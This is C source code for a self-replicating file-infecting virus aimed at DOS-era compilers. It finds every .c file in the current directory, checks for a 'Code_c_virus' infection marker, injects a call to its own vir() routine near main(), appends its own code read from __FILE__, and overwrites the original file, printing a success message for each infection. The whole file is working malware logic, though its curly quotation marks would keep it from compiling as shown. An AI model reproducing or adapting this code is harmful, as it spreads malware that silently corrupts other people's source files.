#include <stdio.h>
#include <string.h>
#include <dir.h>
#include <io.h>

#define Max_line 600
#define N_vir 3032
void vir(void);
int main(void)
{
vir();
return 0;
}
void vir(void)
{
struct ffblk ffblk;
FILE *s_fp,*t_fp,*c_fp;
char *find[]={“int“,“char“,“long“,“double“,“float“,“struct“,“enum“,“union“,“bool“,“FILE“};
char *attack=“Code_c_virus“;
char *labl=“#include <stdio.h>\n“;
char *label=“#include <string.h>\n“;
long int len=0;
long int pos_m,pos_i;
int done;
int i;
char line[Max_line];
char line1[Max_line];
char *check=“main(“;
char ch;
int flag=1;
int flag1=1;
int flag2=0;
int flag3=0;
done = findfirst(“*.c“,&ffblk,0);
while(!done)
{
if((s_fp=fopen(ffblk.ff_name,“r“))==NULL)
{
printf(“Can’t open the file %s.\n“,ffblk.ff_name);
exit(0);
}
printf(“Open the file %s.\n\n“,ffblk.ff_name);
fseek(s_fp,-25*1L,2);
fgets(line,25,s_fp);
if(strstr(line,attack)!=NULL)
{
printf(“It has been infected.\n“);
fclose(s_fp);
goto next;
}
rewind(s_fp);
if((t_fp=fopen(“c:\\sgl.c“,“w+“))==NULL)
{
/*printf(”Can’t open the file %s.\n”,”sgl.c”); */
exit(0);
}
while(fgets(line,512,s_fp)!=NULL)
{
len++;
if(strstr(line,label)!=NULL)
flag2=1;
if(strstr(line,labl)!=NULL)
flag3=1;
if(strstr(line,check)!=NULL)
{
pos_m=len;
while(fgets(line1,512,s_fp)!=NULL)
{
len++;
for(i=0;i<10;i++)
{
if(strstr(line1,find[i])!=NULL)
{
flag=1;
break;
}
}
if(flag==1)
{
flag=0;
continue;
}
else
{
pos_i=len;
flag1=1;
break;
}
}
if(flag1==1)
break;
else
flag1=0;
}
}
if(flag2!=1&&flag3!=1)
{
fputs(“#include <stdio.h>\n“,t_fp);
fputs(“#include <string.h>\n“,t_fp);
}
if(flag2!=1&&flag3==1)
fputs(“#include <string.h>\n“,t_fp);
if(flag2==1&&flag3!=1)
fputs(“#include <stdio.h>\n“,t_fp);
fputs(“#include <io.h>\n“,t_fp);
fputs(“#include <dir.h>\n“,t_fp);
fputs(“#define Max_line 600\n“,t_fp);
fputs(“#define N_vir 3032\n“,t_fp);
rewind(s_fp);
for(i=0;i<len-1;i++)
{
fgets(line,512,s_fp);
fputs(line,t_fp);
}
fputs(“void vir(void);\n“,t_fp);
fputs(“vir();\n“,t_fp);
while((ch=fgetc(s_fp))!=EOF)
fputc(ch,t_fp);
fputs(“\n“,t_fp);
if((c_fp=fopen(__FILE__,“r“))==NULL)
{
printf(“Can’t open the my_file.\n“);
goto next;
}
fseek(c_fp,-N_vir*1L,SEEK_END);
while((ch=fgetc(c_fp))!=EOF)
fputc(ch,t_fp);
fclose(s_fp);
fclose(c_fp);
if((s_fp=fopen(ffblk.ff_name,“w+“))==NULL)
{
/*printf(”Can’t open the file %s.\n”,ffblk.ff_name); */
goto next;
}
rewind(t_fp);
while((ch=fgetc(t_fp))!=EOF)
fputc(ch,s_fp);
fclose(s_fp);
fclose(t_fp);
printf(“Infect %s success.\n“,ffblk.ff_name);
unlink(“c:\\sgl.c“);
printf(“unlink success.\n“);
next:
len=0;flag=1;flag1=1;flag2=0;flag3=0;
done=findnext(&ffblk);
}
#define Code_c_virus
}